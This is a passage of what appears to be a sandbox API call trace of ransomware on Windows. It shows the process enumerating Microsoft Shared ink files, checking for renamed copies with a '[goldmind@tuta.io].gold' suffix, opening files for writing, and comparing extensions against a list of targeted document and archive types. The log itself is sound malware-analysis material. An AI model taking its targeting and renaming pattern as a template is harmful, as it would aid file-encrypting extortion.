(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0049.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.680] lstrlenW (lpString=".doc") returned 4 [0049.680] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.680] lstrlenW (lpString=".docx") returned 5 [0049.680] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.680] lstrlenW (lpString=".pdf") returned 4 [0049.680] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.680] lstrlenW (lpString=".xls") returned 4 [0049.680] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.680] lstrlenW (lpString=".xlsx") returned 5 [0049.680] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.681] lstrlenW (lpString=".ppt") returned 4 [0049.681] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.681] lstrlenW (lpString=".zip") returned 4 [0049.681] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.681] lstrlenW (lpString=".rar") returned 4 [0049.681] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.681] lstrlenW (lpString=".bz2") returned 4 [0049.681] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.681] lstrlenW (lpString=".7z") returned 3 [0049.681] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.681] lstrlenW (lpString=".dbf") returned 4 [0049.681] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.681] lstrlenW (lpString=".1cd") returned 4 [0049.681] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.681] lstrlenW (lpString=".jpg") returned 4 [0049.681] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.681] lstrlenW (lpString=".doc") returned 4 [0049.681] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.681] lstrlenW (lpString=".docx") returned 5 [0049.681] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.681] lstrlenW (lpString=".pdf") returned 4 [0049.681] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.681] lstrlenW (lpString=".xls") returned 4 [0049.681] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.681] lstrlenW (lpString=".xlsx") returned 5 [0049.681] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.681] lstrlenW (lpString=".ppt") returned 4 [0049.681] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.681] lstrlenW (lpString=".zip") returned 4 [0049.681] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.681] lstrlenW (lpString=".rar") returned 4 [0049.681] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.681] lstrlenW (lpString=".bz2") returned 4 [0049.681] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.681] lstrlenW (lpString=".7z") returned 3 [0049.681] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.681] lstrlenW (lpString=".dbf") returned 4 [0049.681] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.682] lstrlenW (lpString=".1cd") returned 4 [0049.682] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0049.682] lstrlenW (lpString=".jpg") returned 4 [0049.682] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.682] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.682] lstrlenW (lpString="TipBand.dll.mui") returned 15 [0049.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.682] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=3072) returned 1 [0049.682] CloseHandle (hObject=0x1e4) returned 1 [0049.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0049.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.683] lstrlenW (lpString=".doc") returned 4 [0049.683] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.683] lstrlenW (lpString=".docx") returned 5 [0049.683] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.683] lstrlenW (lpString=".pdf") returned 4 [0049.683] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.683] lstrlenW (lpString=".xls") returned 4 [0049.683] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.683] lstrlenW (lpString=".xlsx") returned 5 [0049.683] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.683] lstrlenW (lpString=".ppt") returned 4 [0049.683] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.683] lstrlenW (lpString=".zip") returned 4 [0049.683] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.683] lstrlenW (lpString=".rar") returned 4 [0049.683] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.683] lstrlenW (lpString=".bz2") returned 4 [0049.683] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.683] lstrlenW (lpString=".7z") returned 3 [0049.683] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.683] lstrlenW (lpString=".dbf") returned 4 [0049.683] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.683] lstrlenW (lpString=".1cd") returned 4 [0049.683] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.683] lstrlenW (lpString=".jpg") returned 4 [0049.683] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.684] lstrlenW (lpString=".doc") returned 4 [0049.684] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.684] lstrlenW (lpString=".docx") returned 5 [0049.684] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.684] lstrlenW (lpString=".pdf") returned 4 [0049.684] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.684] lstrlenW (lpString=".xls") returned 4 [0049.684] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.684] lstrlenW (lpString=".xlsx") returned 5 [0049.684] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.684] lstrlenW (lpString=".ppt") returned 4 [0049.684] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.684] lstrlenW (lpString=".zip") returned 4 [0049.684] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.684] lstrlenW (lpString=".rar") returned 4 [0049.684] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.684] lstrlenW (lpString=".bz2") returned 4 [0049.684] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.684] lstrlenW (lpString=".7z") returned 3 [0049.684] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.684] lstrlenW (lpString=".dbf") returned 4 [0049.684] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.684] lstrlenW (lpString=".1cd") returned 4 [0049.684] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0049.684] lstrlenW (lpString=".jpg") returned 4 [0049.684] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.684] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.684] lstrlenW (lpString="TipRes.dll.mui") returned 14 [0049.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.685] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=32768) returned 1 [0049.685] CloseHandle (hObject=0x1e4) returned 1 [0049.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0049.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.685] lstrlenW (lpString=".doc") returned 4 [0049.685] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.685] lstrlenW (lpString=".docx") returned 5 [0049.685] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.685] lstrlenW (lpString=".pdf") returned 4 [0049.685] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.685] lstrlenW (lpString=".xls") returned 4 [0049.685] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.685] lstrlenW (lpString=".xlsx") returned 5 [0049.685] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.685] lstrlenW (lpString=".ppt") returned 4 [0049.685] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.685] lstrlenW (lpString=".zip") returned 4 [0049.685] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.685] lstrlenW (lpString=".rar") returned 4 [0049.685] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.685] lstrlenW (lpString=".bz2") returned 4 [0049.685] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.685] lstrlenW (lpString=".7z") returned 3 [0049.685] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.685] lstrlenW (lpString=".dbf") returned 4 [0049.686] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.686] lstrlenW (lpString=".1cd") returned 4 [0049.686] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.686] lstrlenW (lpString=".jpg") returned 4 [0049.686] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.686] lstrlenW (lpString=".doc") returned 4 [0049.686] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.686] lstrlenW (lpString=".docx") returned 5 [0049.686] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.686] lstrlenW (lpString=".pdf") returned 4 [0049.686] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.686] lstrlenW (lpString=".xls") returned 4 [0049.686] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.686] lstrlenW (lpString=".xlsx") returned 5 [0049.686] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.686] lstrlenW (lpString=".ppt") returned 4 [0049.686] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.686] lstrlenW (lpString=".zip") returned 4 [0049.686] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.686] lstrlenW (lpString=".rar") returned 4 [0049.686] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.686] lstrlenW (lpString=".bz2") returned 4 [0049.686] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.686] lstrlenW (lpString=".7z") returned 3 [0049.686] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.686] lstrlenW (lpString=".dbf") returned 4 [0049.686] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.686] lstrlenW (lpString=".1cd") returned 4 [0049.686] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0049.686] lstrlenW (lpString=".jpg") returned 4 [0049.686] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.686] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.686] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0049.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.687] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=3584) returned 1 [0049.687] CloseHandle (hObject=0x1e4) returned 1 [0049.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0049.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.687] lstrlenW (lpString=".doc") returned 4 [0049.687] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.687] lstrlenW (lpString=".docx") returned 5 [0049.687] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.687] lstrlenW (lpString=".pdf") returned 4 [0049.687] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.687] lstrlenW (lpString=".xls") returned 4 [0049.687] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.687] lstrlenW (lpString=".xlsx") returned 5 [0049.687] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.687] lstrlenW (lpString=".ppt") returned 4 [0049.687] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.687] lstrlenW (lpString=".zip") returned 4 [0049.687] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.687] lstrlenW (lpString=".rar") returned 4 [0049.687] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.688] lstrlenW (lpString=".bz2") returned 4 [0049.688] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.688] lstrlenW (lpString=".7z") returned 3 [0049.688] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString=".dbf") returned 4 [0049.688] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString=".1cd") returned 4 [0049.688] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString=".jpg") returned 4 [0049.688] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString=".doc") returned 4 [0049.688] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.688] lstrlenW (lpString=".docx") returned 5 [0049.688] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.688] lstrlenW (lpString=".pdf") returned 4 [0049.688] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.688] lstrlenW (lpString=".xls") returned 4 [0049.688] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.688] lstrlenW (lpString=".xlsx") returned 5 [0049.688] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.688] lstrlenW (lpString=".ppt") returned 4 [0049.688] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString=".zip") returned 4 [0049.688] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.688] lstrlenW (lpString=".rar") returned 4 [0049.688] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.688] lstrlenW (lpString=".bz2") returned 4 [0049.688] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.688] lstrlenW (lpString=".7z") returned 3 [0049.688] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString=".dbf") returned 4 [0049.688] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString=".1cd") returned 4 [0049.688] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0049.688] lstrlenW (lpString=".jpg") returned 4 [0049.688] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.689] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.689] lstrlenW (lpString="TipTsf.dll.mui") returned 14 [0049.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.689] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=3072) returned 1 [0049.689] CloseHandle (hObject=0x1e4) returned 1 [0049.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0049.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.689] lstrlenW (lpString=".doc") returned 4 [0049.689] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.689] lstrlenW (lpString=".docx") returned 5 [0049.689] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.689] lstrlenW (lpString=".pdf") returned 4 [0049.689] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.689] lstrlenW (lpString=".xls") returned 4 [0049.689] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.689] lstrlenW (lpString=".xlsx") returned 5 [0049.689] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.689] lstrlenW (lpString=".ppt") returned 4 [0049.689] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.689] lstrlenW (lpString=".zip") returned 4 [0049.689] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.689] lstrlenW (lpString=".rar") returned 4 [0049.689] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.690] lstrlenW (lpString=".bz2") returned 4 [0049.690] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.690] lstrlenW (lpString=".7z") returned 3 [0049.690] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString=".dbf") returned 4 [0049.690] 